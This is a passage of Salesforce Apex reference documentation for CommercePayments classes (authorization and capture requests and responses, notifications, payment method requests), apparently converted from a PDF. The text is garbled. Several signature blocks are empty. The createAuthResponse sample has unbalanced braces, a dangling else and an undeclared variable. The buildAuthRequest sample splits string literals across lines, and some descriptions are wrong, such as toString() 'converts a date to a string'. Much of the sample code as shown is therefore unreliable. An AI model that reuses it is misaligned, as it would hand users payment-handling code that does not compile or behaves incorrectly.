Stores data that you can use for subsequent authorizations. You can use any data that isn’t normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.

Signature

global void setGatewayReferenceDetails(String gatewayReferenceDetails)

Parameters

gatewayReferenceDetails

Type: String

Return Value

Type: void

setGatewayReferenceNumber(gatewayReferenceNumber)
Sets a unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.

Signature

global void setGatewayReferenceNumber(String gatewayReferenceNumber)

Parameters

gatewayReferenceNumber

Type: String

Unique reference ID created by the payment gateway.

Return Value

Type: void

setGatewayResultCode(gatewayResultCode)
Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.
Signature

```java
global void setGatewayResultCode(String gatewayResultCode)
```

Parameters

`gatewayResultCode`
Type: String
Gateway-specific result code. Must be used to map a Salesforce-specific result code.

Return Value
Type: void

`setGatewayResultCodeDescription(gatewayResultCodeDescription)`
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

Signature

```java
global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)
```

Parameters

`gatewayResultCodeDescription`
Type: String
Description of the gateway’s result code. Use this field to learn more about why the gateway returned a certain result code.

Return Value
Type: void

`setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Signature

```java
```

Parameters

`salesforceResultCodeInfo`
Type: SalesforceResultCodeInfo
Description of the Salesforce result code value.
AuthorizationRequest Class

Sends information about an authorization request to a gateway adapter during a service call.

Namespace

CommercePayments

Usage

This class contains information about a transaction authorization request. The gateway adapter reads fields from this class while constructing an authorization JSON request to send to the payment gateway. An object of this class is available by calling `getPaymentRequest()` in the `PaymentGatewayContext` Class.

Example

Creating a `buildAuthRequest` class to store information about the authorization request.

```java
private String buildAuthRequest(commercepayments.AuthorizationRequest authRequest) {
    // Multiply amount by 100.0 to convert to cents
    String requestBody = createRequestBody(String.valueOf((authRequest.amount*100.0).intValue()), authRequest);
    return requestBody;
}

private String createRequestBody(String amount, commercepayments.AuthorizationRequest authRequest) {
    JSONGenerator jsonGeneratorInstance = JSON.createGenerator(true);
    String currencyIso = authRequest.currencyIsoCode;
    commercepayments.AuthApiPaymentMethodRequest paymentMethod = authRequest.paymentMethod;
    commercepayments.GatewayErrorResponse error;
    // Write data to the JSON string.
    jsonGeneratorInstance.writeStartObject();
    jsonGeneratorInstance.writeStringField('merchantAccount', '{$Credential.Username}');
    jsonGeneratorInstance.writeStringField('reference', authRequest.comments == null ? 'randomstring' : authRequest.comments);
    if(currencyIso == null) {
        currencyIso = UserInfo.getDefaultCurrency();
    }
    jsonGeneratorInstance.writeFieldName('amount');
    jsonGeneratorInstance.writeStartObject();
    jsonGeneratorInstance.writeStringField('value', amount);
    jsonGeneratorInstance.writeStringField('currency', currencyIso);
    jsonGeneratorInstance.writeEndObject();
    commercepayments.CardPaymentMethodRequest cardPaymentMethod;
```
if (paymentMethod != null) {
  cardPaymentMethod = paymentMethod.cardPaymentMethod;
  if (cardPaymentMethod != null) {
    if (commercepayments.CardCategory.CreditCard ==
        cardPaymentMethod.CardCategory) {
      jsonGeneratorInstance.writeFieldName('card');
      jsonGeneratorInstance.writeStartObject();
      if (cardPaymentMethod.cvv != null)
        jsonGeneratorInstance.writeStringField('cvc',
            String.ValueOf(cardPaymentMethod.cvv));
      if (cardPaymentMethod.cardholdername != null)
        jsonGeneratorInstance.writeStringField('holderName',
            cardPaymentMethod.cardholdername);  
      if (cardPaymentMethod.cardnumber != null)
        jsonGeneratorInstance.writeStringField('number',
            cardPaymentMethod.cardnumber);
      if (cardPaymentMethod.expiryMonth != null &&
          cardPaymentMethod.expiryYear != null) {
        String expMonth =
            ((String.ValueOf(cardPaymentMethod.expiryMonth)).length() == 1 ? '0' : '') +
            String.ValueOf(cardPaymentMethod.expiryMonth);
        jsonGeneratorInstance.writeStringField('expiryMonth', expMonth);
        jsonGeneratorInstance.writeStringField('expiryYear',
            String.ValueOf(cardPaymentMethod.expiryYear));
        jsonGeneratorInstance.writeEndObject();
      } else {  
        //Support for other card type
      }  
    } else {  
      throw new SampleValidationException('Required Field Missing :
        CardCategory');
    }  
  } else {  
    throw new SampleValidationException('Required Field Missing :
        CardPaymentMethod');
  }  
} else {  
  throw new SampleValidationException('Required Field Missing :
        PaymentMethod');
}
jsonGeneratorInstance.writeObject();
return jsonGeneratorInstance.getString();}
AuthorizationRequest Constructors

The following are constructors for AuthorizationRequest.

IN THIS SECTION:

AuthorizationRequest(amount)

Constructor for building the amount in an authorization request. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

AuthorizationRequest(amount)

Constructor for building the amount in an authorization request. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

Signature

global AuthorizationRequest(Double amount)

Parameters

amount

Type: Double

The amount of the authorization.

AuthorizationRequest Properties

The following are properties for AuthorizationRequest.

IN THIS SECTION:

accountId

The customer account where the authorization is performed.

amount

The total amount of the authorization. Can be positive or negative.

comments

Comments about the authorization. Users can enter comments to provide additional information.

currencyIsoCode

The ISO currency code for the authorization request.

paymentMethod

The payment method used to process the authorization in the authorization request.

accountId

The customer account where the authorization is performed.

Signature

global String accountId {get; set;}

947
Property Value
Type: String

**amount**
The total amount of the authorization. Can be positive or negative.

Signature
`global Double amount {get; set;}`

Property Value
Type: Double

**comments**
Comments about the authorization. Users can enter comments to provide additional information.

Signature
`global String comments {get; set;}`

Property Value
Type: String

**currencyIsoCode**
The ISO currency code for the authorization request.

Signature
`global String currencyIsoCode {get; set;}`

Property Value
Type: String

**paymentMethod**
The payment method used to process the authorization in the authorization request.

Signature
`global AuthApiPaymentMethodRequest paymentMethod {get; set;}`

Property Value
Type: AuthApiPaymentMethodRequest on page 934
AuthorizationRequest Methods

The following are methods for AuthorizationRequest.

IN THIS SECTION:

equals(obj)
Maintains the integrity of lists of type AuthorizationRequest by determining the equality of external objects in a list. This method is dynamic and based on the equals method in Java.

hashCode()
Maintains the integrity of lists of type AuthorizationRequest by determining the uniqueness of the external object in a list.

toString()
Converts a date to a string.

equals(obj)
Maintains the integrity of lists of type AuthorizationRequest by determining the equality of external objects in a list. This method is dynamic and based on the equals method in Java.

Signature

```
global Boolean equals(Object obj)
```

Parameters

obj
Type: Object
External object whose key is to be validated.

Return Value
Type: Boolean

hashCode()
Maintains the integrity of lists of type AuthorizationRequest by determining the uniqueness of the external object in a list.

Signature

```
global Integer hashCode()
```

Return Value
Type: Integer

toString()
Converts a date to a string.
Signature

global String toString()

Return Value

Type: String

**AuthorizationResponse Class**

Response sent by the payment gateway adapter for an authorization service.

**Namespace**

CommercePayments

**Usage**

The constructor of this class takes no arguments. For example:

```
```

Contains information about the payment gateway’s response following an authorization transaction. The gateway adapter uses the payment gateway’s response to populate the AuthorizationResponse fields. The payments platform uses the information from this class to construct the authorization gateway response shown to the user.

**Example**

```java
private commercepayments.GatewayResponse createAuthResponse(HttpResponse response, Double amount) {
    Map<String, Object> mapOfResponseValues = (Map<String, Object>) JSON.deserializeUntyped(response.getBody());

    String resultCode = (String)mapOfResponseValues.get('resultCode');
    if(resultCode != null){
        system.debug('Response - success');
        if(resultCode.equals('Authorised')){
            system.debug('status - authorised');
            authResponse.setGatewayAuthCode((String)mapOfResponseValues.get('authCode'));
        } else {
            //Sample returns 200 with refused status in some cases
            system.debug('status - refused');
        }
    }
}
```

authResponse.setGatewayResultCodeDescription((String)mapOfResponseValues.get('refusalReason'));

} authResponse.setGatewayReferenceNumber((String)mapOfResponseValues.get('pspReference'));
    authResponse.setAmount(amount);
    authResponse.setGatewayDate(system.now());
    return authResponse;
} else {
    system.debug('Response - failed');
    system.debug('Validation error');
    String statusCode = (String)mapOfResponseValues.get('errorType');
    String message = (String)mapOfResponseValues.get('message');
    commercepayments.GatewayErrorResponse error = new commercepayments.GatewayErrorResponse(statusCode, message);
    return error;
} else {

IN THIS SECTION:

AuthorizationResponse Methods

**AuthorizationResponse Methods**

The following are methods for AuthorizationResponse.

**IN THIS SECTION:**

- setAmount(amount)
  Sets the amount of the authorization. Must be a non-zero value.
- setAuthorizationExpirationDate(authExpDate)
  Sets the expiration date of the authorization request.
- setGatewayAuthCode(gatewayAuthCode)
  Sets the authorization code that the gateway returned. Maximum length of 64 characters.
- setGatewayAvsCode(gatewayAvsCode)
  Sets the AVS (address verification system) result code information that the gateway returned. Maximum length of 64 characters.
- setGatewayDate(gatewayDate)
  Sets the date that the authorization occurred. Some gateways don’t send this value.
- setGatewayMessage(gatewayMessage)
  Sets error messages that the gateway returned for the authorization request. Maximum length of 255 characters.
- setGatewayReferenceDetails(gatewayReferenceDetails)
  Stores data that you can use for subsequent authorizations. You can use any data that isn’t normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.
setGatewayReferenceNumber(gatewayReferenceNumber)
Sets the unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.

setGatewayResultCode(gatewayResultCode)
Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

setGatewayResultCodeDescription(gatewayResultCodeDescription)
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

setPaymentMethodTokenizationResponse(paymentMethodTokenizationResponse)
Sets information from the gateway about the tokenized payment method.

setSalesforceResultCodeInfo(salesforceResultCodeInfo)
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

setAmount(amount)
Sets the amount of the authorization. Must be a non-zero value.

Signature

global void setAmount(Double amount)

Parameters

amount
Type: Double

Return Value
Type: void

setAuthorizationExpirationDate(authExpDate)
Sets the expiration date of the authorization request.

Signature

global void setAuthorizationExpirationDate(Datetime authExpDate)

Parameters

authExpDate
Type: Datetime

Return Value
Type: void

setGatewayAuthCode(gatewayAuthCode)
Sets the authorization code that the gateway returned. Maximum length of 64 characters.
Signature

global void setGatewayAuthCode(String gatewayAuthCode)

Parameters

gatewayAuthCode
   Type: String
   The authorization code returned by the gateway.

Return Value
Type: void

setGatewayAvsCode(gatewayAvsCode)
Sets the AVS (address verification system) result code information that the gateway returned. Maximum length of 64 characters.

Signature

global void setGatewayAvsCode(String gatewayAvsCode)

Parameters

gatewayAvsCode
   Type: String
   Used to verify the address mapped to a payment method when the payments platform requests tokenization from the payment gateway.

Return Value
Type: void

setGatewayDate(gatewayDate)
Sets the date that the authorization occurred. Some gateways don’t send this value.

Signature

global void setGatewayDate(Datetime gatewayDate)

Parameters

gatewayDate
   Type: Datetime

Return Value
Type: void
**setGatewayMessage (gatewayMessage)**
Sets error messages that the gateway returned for the authorization request. Maximum length of 255 characters.

Signature
```
global void setGatewayMessage(String gatewayMessage)
```

Parameters
```
gatewayMessage
Type: String
```

Return Value
Type: void

**setGatewayReferenceDetails (gatewayReferenceDetails)**
Stores data that you can use for subsequent authorizations. You can use any data that isn't normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.

Signature
```
global void setGatewayReferenceDetails(String gatewayReferenceDetails)
```

Parameters
```
gatewayReferenceDetails
Type: String
```

Return Value
Type: void

**setGatewayReferenceNumber (gatewayReferenceNumber)**
Sets the unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.

Signature
```
global void setGatewayReferenceNumber(String gatewayReferenceNumber)
```

Parameters
```
gatewayReferenceNumber
Type: String
```

Unique authorization ID created by the payment gateway.
Return Value
Type: void

**setGatewayResultCode(gatewayResultCode)**
Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

Signature

```
global void setGatewayResultCode(String gatewayResultCode)
```

Parameters

gatewayResultCode
Type: String
Gateway-specific result code. Must be used to map a Salesforce-specific result code.

Return Value
Type: void

**setGatewayResultCodeDescription(gatewayResultCodeDescription)**
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

Signature

```
global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)
```

Parameters

gatewayResultCodeDescription
Type: String
Description of the gateway's result code. Use this field to learn more about why the gateway returned a certain result code.

Return Value
Type: void

**setPaymentMethodTokenizationResponse(paymentMethodTokenizationResponse)**
Sets information from the gateway about the tokenized payment method.

Signature

```
global void setPaymentMethodTokenizationResponse(commercepayments.PaymentMethodTokenizationResponse paymentMethodTokenizationResponse)
```
Parameters

`paymentMethodTokenizationResponse` 
*Gateway response sent by payment gateway adapters for the payment method tokenization request.*

Return Value
Type: void

`setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Signature

```java
```

Parameters

`salesforceResultCodeInfo` 
*Type: SalesforceResultCodeInfo on page 1036* 
*Description of the Salesforce result code value.*

Return Value
Type: void

**BaseApiPaymentMethodRequest Class**

Abstract class used to send information about a payment method to a gateway adapter during a service call.

**Namespace**

CommercePayments

**Usage**

`BaseApiPaymentMethodRequest` is the base class for `SaleApiPaymentMethodRequest` and `AuthApiPaymentMethodRequest`.

**IN THIS SECTION:**
- `BaseApiPaymentMethodRequest Constructors`
- `BaseApiPaymentMethodRequest Properties`
- `BaseApiPaymentMethodRequest Methods`
### BaseApiPaymentMethodRequest Constructors

The following are constructors for `BaseApiPaymentMethodRequest`.

**IN THIS SECTION:**

- `BaseApiPaymentMethodRequest(address, id, saveForFuture)`
  
  Constructs a payment method. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

### BaseApiPaymentMethodRequest(address, id, saveForFuture)

Constructs a payment method. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

**Signature**

```
global BaseApiPaymentMethodRequest(commercepayments.AddressRequest address, String id, Boolean saveForFuture)
```

**Parameters**

- `address`
  - Type: `commercepayments.AddressRequest` on page 924
  - Sends data related on address request to a gateway adapter during a service call.

- `id`
  - Type: `String`

- `saveForFuture`
  - Type: `Boolean`
  - Indicates whether Salesforce saves the payment method for future use.

### BaseApiPaymentMethodRequest Properties

The following are properties for `BaseApiPaymentMethodRequest`.

**IN THIS SECTION:**

- `address`
  - The payment method’s address.

- `id`
  - ID of the payment method request.

- `saveForFuture`
  - Indicates whether the payment method is saved as a record in Salesforce for future use.

- `address` (The payment method’s address)
Signature
global commercepayments.AddressRequest address {get; set;}

Property Value
Type: AddressRequest on page 924

id
ID of the payment method request.

Signature
global String id {get; set;}

Property Value
Type: String

saveForFuture
Indicates whether the payment method is saved as a record in Salesforce for future use.

Signature
global Boolean saveForFuture {get; set;}

Property Value
Type: Boolean

BaseApiPaymentMethodRequest Methods
The following are methods for BaseApiPaymentMethodRequest.

IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type BaseApiPaymentMethodRequest by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

hashCode()
Maintains the integrity of lists of type BaseApiPaymentMethodRequest by determining the uniqueness of the external object records in a list.

toString()
Converts a date to a string.
**equals(obj)**
Maintains the integrity of lists of type `BaseApiPaymentMethodRequest` by determining the equality of external objects in a list. This method is dynamic and is based on the `equals` method in Java.

Signature

```
global Boolean equals(Object obj)
```

Parameters

`obj`
Type: Object
External object whose key is to be validated.

Return Value
Type: Boolean

**hashCode()**
Maintains the integrity of lists of type `BaseApiPaymentMethodRequest` by determining the uniqueness of the external object records in a list.

Signature

```
global Integer hashCode()
```

Return Value
Type: Integer

**toString()**
Converts a date to a string.

Signature

```
global String toString()
```

Return Value
Type: String

**BaseNotification Class**
Abstract class for storing notification information sent from payment gateways.

**Namespace**
`CommercePayments`
Usage
An abstract class that contains the common fields from payment gateways. `BaseNotification` can't be instantiated on its own. The constructor of this class takes no arguments. For example:

```java
CommercePayments.BaseNotification bnt = new CommercePayments.BaseNotification();
```

Example

```java
commercepayments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
    notification = new commercepayments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
    notification = new commercepayments.ReferencedRefundNotification();
}
```

IN THIS SECTION:

**BaseNotification Methods**

The following are methods for `BaseNotification`.

IN THIS SECTION:

- `setAmount(amount)`
  Sets the transaction amount. Must be a non-negative value.
- `setGatewayDate(gatewayDate)`
  Sets the date that the notification occurred. Some gateways don't send this value.
- `setGatewayMessage(gatewayMessage)`
  Sets error messages that the gateway returned for the notification request. Maximum length of 255 characters.
- `setGatewayReferenceDetails(gatewayReferenceDetails)`
  Sets the payment gateway's reference details.
- `setGatewayReferenceNumber(gatewayReferenceNumber)`
  Sets the payment gateway's reference number.
- `setGatewayResultCode(gatewayResultCode)`
  Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.
- `setGatewayResultCodeDescription(gatewayResultCodeDescription)`
  Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.
- `setId(id)`
  Sets the ID of the notification sent by the gateway.
- `setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
  Sets the information about the Salesforce-specific result code used to match a result code from a payment gateway.
- `setStatus(status)`
  Sets the status of the notification sent by the gateway.
**setAmount(amount)**
Sets the transaction amount. Must be a non-negative value.

Signature

global void setAmount(Double amount)

Parameters

amount
   Type: Double
   The amount of the transaction.

Return Value
Type: void

**setGatewayDate(gatewayDate)**
Sets the date that the notification occurred. Some gateways don’t send this value.

Signature

global void setGatewayDate(Datetime gatewayDate)

Parameters

gatewayDate
   Type: Datetime
   The date that the notification occurred.

Return Value
Type: void

**setGatewayMessage(gatewayMessage)**
Sets error messages that the gateway returned for the notification request. Maximum length of 255 characters.

Signature

global void setGatewayMessage(String gatewayMessage)

Parameters

gatewayMessage
   Type: String
   The message that the gateway returned with the notification request. Contains additional information about the notification.
setGatewayReferenceDetails(gatewayReferenceDetails)
Sets the payment gateway's reference details.

Signature

```java
global void setGatewayReferenceDetails(String gatewayReferenceDetails)
```

Parameters

gatewayReferenceDetails
Type: String
Provides information about the gateway communication.

Return Value
Type: void

setGatewayReferenceNumber(gatewayReferenceNumber)
Sets the payment gateway's reference number.

Signature

```java
global void setGatewayReferenceNumber(String gatewayReferenceNumber)
```

Parameters

gatewayReferenceNumber
Type: String
Unique transaction ID created by the payment gateway.

Return Value
Type: void

setGatewayResultCode(gatewayResultCode)
Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

Signature

```java
global void setGatewayResultCode(String gatewayResultCode)
```
Parameters

gatewayResultCode
Type: String
Gateway-specific result code. Must be used to map a Salesforce-specific result code.

Return Value
Type: void

setGatewayResultCodeDescription(gatewayResultCodeDescription)
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

Signature

global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)

Parameters

gatewayResultCodeDescription
Type: String
Provides additional information about the result code and why the gateway returned the code. Descriptions vary between different gateways.

Return Value
Type: void

setId(id)
Sets the ID of the notification sent by the gateway.

Signature

global void setId(String id)

Parameters

id
Type: String

Return Value
Type: void

setSalesforceResultCodeInfo(salesforceResultCodeInfo)
Sets the information about the Salesforce-specific result code used to match a result code from a payment gateway.
Signature

```java
```

Parameters

- `salesforceResultCodeInfo`
  - Type: `commercepayments.SalesforceResultCodeInfo` on page 1036
  - Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Return Value

Type: void

**setStatus(status)**

Sets the status of the notification sent by the gateway.

Signature

```java
global void setStatus(commercepayments.NotificationStatus status)
```

Parameters

- `status`
  - Type: `commercepayments.NotificationStatus` on page 993
  - Shows whether the payments platform successfully received the notification from the gateway.

Return Value

Type: void

**BasePaymentMethodRequest Class**

Abstract class for storing information about payment methods.

**Namespace**

`CommercePayments`

**Usage**

The `BasePaymentMethodRequest` class contains fields common to `CardPaymentMethodRequest` on page 978.

IN THIS SECTION:

- `BasePaymentMethodRequest Methods`
BasePaymentMethodRequest Methods

The following are methods for `BasePaymentMethodRequest`.

IN THIS SECTION:

- `equals(obj)`
  Maintains the integrity of lists of type `BasePaymentMethodRequest` by determining the equality of external objects in a list. This method is dynamic and based on the equals method in Java.

- `hashCode()`
  Maintains the integrity of lists of type `BasePaymentMethodRequest` by determining the uniqueness of the external object records in a list.

- `toString()`
  Converts a date to a string.

`equals(obj)`

Maintains the integrity of lists of type `BasePaymentMethodRequest` by determining the equality of external objects in a list. This method is dynamic and based on the equals method in Java.

**Signature**

```java
global Boolean equals(Object obj)
```

**Parameters**

- `obj`
  Type: Object
  External object whose key is to be validated.

**Return Value**

Type: `Boolean`

`hashCode()`

Maintains the integrity of lists of type `BasePaymentMethodRequest` by determining the uniqueness of the external object records in a list.

**Signature**

```java
global Integer hashCode()
```

**Return Value**

Type: `Integer`

`toString()`

Converts a date to a string.
BaseRequest Class

BaseRequest is extended by all the request classes.

Namespace

CommercePayments

IN THIS SECTION:

BaseRequest Methods

BaseRequest Methods

The following are methods for BaseRequest.

IN THIS SECTION:

BaseRequest(AdditionalData, IdempotencyKey)

Used for testing.

BaseRequest(AdditionalData, IdempotencyKey)

Used for testing.

Signature

global Void BaseRequest(String AdditionalData, Map<String, String> IdempotencyKey)

Parameters

AdditionalData

Type: String

Contains additional data that may be required for a payment request. The additionalData object consists of key-value pairs.

You can retrieve the additionalData object from the request object: Map<String, String>

additionalData=request.additionalData

IdempotencyKey

Type: Map<String, String>

Unique value that’s generated by a client and sent to the server in the request. The server stores the value and uses the it to keep track of the request status.
Return Value
Type: Void

CaptureNotification Class
When a payment gateway sends a notification for a capture transaction, the payment gateway adapter creates the CaptureNotification object to store information about the notification.

Namespace
CommercePayments

Usage
CaptureNotification is used in asynchronous payment gateway adapters.
Specify the CommercePayments namespace when creating an instance of this class. The constructor of this class takes no arguments. For example:

```java
CommercePayments.CaptureNotification crn = new CommercePayments.CaptureNotification();
```

Example
```
commercepayments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
    notification = new commercepayments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
    notification = new commercepayments.ReferencedRefundNotification();
}
```

IN THIS SECTION:
CaptureNotification Methods

CaptureNotification Methods
The following are methods for CaptureNotification.

IN THIS SECTION:

- `setAmount(amount)`
  Sets the transaction amount. Must be a non-negative value.
- `setGatewayDate(gatewayDate)`
  Sets the date that the transaction occurred. Some gateways don’t send this value.
- `setGatewayMessage(gatewayMessage)`
  Sets error messages that the gateway returned for the payment request. Maximum length of 255 characters.
- `setGatewayReferenceDetails(gatewayReferenceDetails)`
  Sets additional data that you can use for subsequent transactions. You can use any data that isn’t normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.
setGatewayReferenceNumber(gatewayReferenceNumber)
Sets the unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.

setGatewayResultCode(gatewayResultCode)
Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

setGatewayResultCodeDescription(gatewayResultCodeDescription)
Sets a description of the gateway-specific result code that a gateway returned. Maximum length of 1000 characters.

setId(id)
Sets the ID of a notification sent by the payment gateway.

setSalesforceResultCodeInfo(salesforceResultCodeInfo)
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

setStatus(status)
Sets the notification status to the same value that was sent by the gateway.

**setAmount(amount)**
Sets the transaction amount. Must be a non-negative value.

Signature

global void setAmount(Double amount)

Parameters

amount
Type: Double
The amount to be debited or captured.

Return Value

Type: void

**setGatewayDate(gatewayDate)**
Sets the date that the transaction occurred. Some gateways don’t send this value.

Signature

global void setGatewayDate(Datetime gatewayDate)

Parameters

gatewayDate
Type: Datetime
Date and time of the gateway communication.
Return Value
Type: void

`setGatewayMessage(gatewayMessage)`
Sets error messages that the gateway returned for the payment request. Maximum length of 255 characters.

Signature
```
global void setGatewayMessage(String gatewayMessage)
```

Parameters
```
gatewayMessage
  Type: String
  Information on error messages sent from the gateway.
```

Return Value
Type: void

`setGatewayReferenceDetails(gatewayReferenceDetails)`
Sets additional data that you can use for subsequent transactions. You can use any data that isn’t normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.

Signature
```
global void setGatewayReferenceDetails(String gatewayReferenceDetails)
```

Parameters
```
gatewayReferenceDetails
  Type: String
```

Return Value
Type: void

`setGatewayReferenceNumber(gatewayReferenceNumber)`
Sets the unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.

Signature
```
global void setGatewayReferenceNumber(String gatewayReferenceNumber)
```
Parameters

gatewayReferenceNumber
  Type: String
  Unique transaction ID created by the payment gateway.

Return Value
Type: void

setGatewayResultCode (gatewayResultCode)
Sets a gateway-specific result code. The code can be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

Signature

global void setGatewayResultCode (String gatewayResultCode)

Parameters

gatewayResultCode
  Type: String
  Gateway-specific result code. Map this value to a Salesforce-specific result code.

Return Value
Type: void

setId (id)
Sets the ID of a notification sent by the payment gateway.

setGatewayResultCodeDescription (gatewayResultCodeDescription)
Sets a description of the gateway-specific result code that a gateway returned. Maximum length of 1000 characters.

Signature

global void setGatewayResultCodeDescription (String gatewayResultCodeDescription)

Parameters

gatewayResultCodeDescription
  Type: String
  Description of the gateway’s result code. Use this field to learn more about why the gateway returned a certain result code.

Return Value
Type: void
Signature

```java
global void setId(String id)
```

Parameters

- **id**
  - Type: String

Return Value

Type: void

**setSalesforceResultCodeInfo(salesforceResultCodeInfo)**

Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Signature

```java
```

Parameters

- **salesforceResultCodeInfo**
  - Type: commercepayments.SalesforceResultCodeInfo on page 1036
    - Description of the Salesforce result code value.

Return Value

Type: void

**setStatus(status)**

Sets the notification status to the same value that was sent by the gateway.

Signature

```java
global void setStatus(commercepayments.NotificationStatus status)
```

Parameters

- **status**
  - Type: NotificationStatus on page 993
    - Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Return Value

Type: void
CaptureRequest Class

Represents a capture request. This class extends the BaseRequest class and inherits all its methods.

Namespace

CommercePayments on page 918

Usage

The CaptureRequest class’s buildCaptureRequest method creates a CaptureRequest object to store payment information, such as value and currency, as JSON strings.

Example

Builds a CaptureRequest object for a multicurrency org.

```java
private String buildCaptureRequest(commercepayments.CaptureRequest captureRequest) {
    Boolean IS_MULTICURRENCY_ORG = UserInfo.isMultiCurrencyOrganization();
    QueryUtils qBuilderForAuth = new QueryUtils(PaymentAuthorization.SObjectType);
    // Add required fields
    qBuilderForAuth.getSelectClause().addField('GatewayRefNumber', false);
    if (IS_MULTICURRENCY_ORG) {
        // addField also takes a boolean to enable translation (uses label instead of actual value)
        qBuilderForAuth.getSelectClause().addField('CurrencyIsoCode', false);
    }
}
```

IN THIS SECTION:

- CaptureRequest Constructors
- CaptureRequest Properties

CaptureRequest Constructors

The following are constructors for CaptureRequest.

IN THIS SECTION:

- CaptureRequest(amount, authorizationId)
  This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

CaptureRequest(amount, authorizationId)

This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

Parameters

- `amount`
  - Type: Double
  - The amount to be debited or captured.
authorizationId
   Type: String
   Represents a payment authorization record.

CaptureRequest Properties
The following are properties for CaptureRequest.

IN THIS SECTION:
   accountId
   Account ID value. References an account record.
   amount
   Amount of currency that needs to be captured.
   paymentAuthorizationId
   ID value that references a PaymentAuthorization.

accountId
Account ID value. References an account record.

Property Value
Type: String

amount
Amount of currency that needs to be captured.

Property Value
Type: Double

paymentAuthorizationId
ID value that references a PaymentAuthorization.

Property Value
Type: String

CaptureResponse Class
The payment gateway adapter sends this response for the capture request type. This class extends AbstractResponse and inherits its methods.

Namespace
CommercePayments on page 918
Usage
You must specify the CommercePayments namespace when creating an instance of this class. The constructor of this class takes no arguments. For example:

```java
CommercePayments.CaptureResponse ctr = new CommercePayments.CaptureResponse();
```

IN THIS SECTION:

CaptureResponse Methods

The following are methods for CaptureResponse.

IN THIS SECTION:

- `setAmount(amount)`
  Sets the transaction amount.
- `setAsync(async)`
  Indicates whether the payment gateway adapter used in the payment capture was asynchronous (`True`) or synchronous (`False`).
- `setGatewayAvsCode(gatewayAvsCode)`
  Sets the payment gateway's AVS (address verification system) code.
- `setGatewayDate(gatewayDate)`
  Sets the payment gateway's date.
- `setGatewayMessage(gatewayMessage)`
  Sets information or messages that the gateway returned.
- `setGatewayReferenceDetails(gatewayReferenceDetails)`
  Sets the payment gateway's reference details.
- `setGatewayReferenceNumber(gatewayReferenceNumber)`
  Sets the payment gateway's reference number.
- `setGatewayResultCode(gatewayResultCode)`
  Sets the payment gateway's result code.
- `setGatewayResultCodeDescription(gatewayResultCodeDescription)`
  Sets the payment gateway's result code description.
- `setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
  Sets Salesforce result code information.

**setAmount (amount)**
Sets the transaction amount.

Signature

```java
global void setAmount(Double amount)
```
Parameters

`amount`
  Type: `Double`
  The amount to be debited or captured.

Return Value
Type: `void`

`setAsync(async)`
Indicates whether the payment gateway adapter used in the payment capture was asynchronous (`true`) or synchronous (`false`).

Signature
```
global void setAsync(Boolean async)
```

Parameters
`async`
  Type: `Boolean`

Return Value
Type: `void`

`setGatewayAvsCode(gatewayAvsCode)`
Sets the payment gateway’s AVS (address verification system) code.

Signature
```
global void setGatewayAvsCode(String gatewayAvsCode)
```

Parameters
`gatewayAvsCode`
  Type: `String`
  Payment gateways that use an AVS system return this code.

Return Value
Type: `void`

`setGatewayDate(gatewayDate)`
Sets the payment gateway’s date.
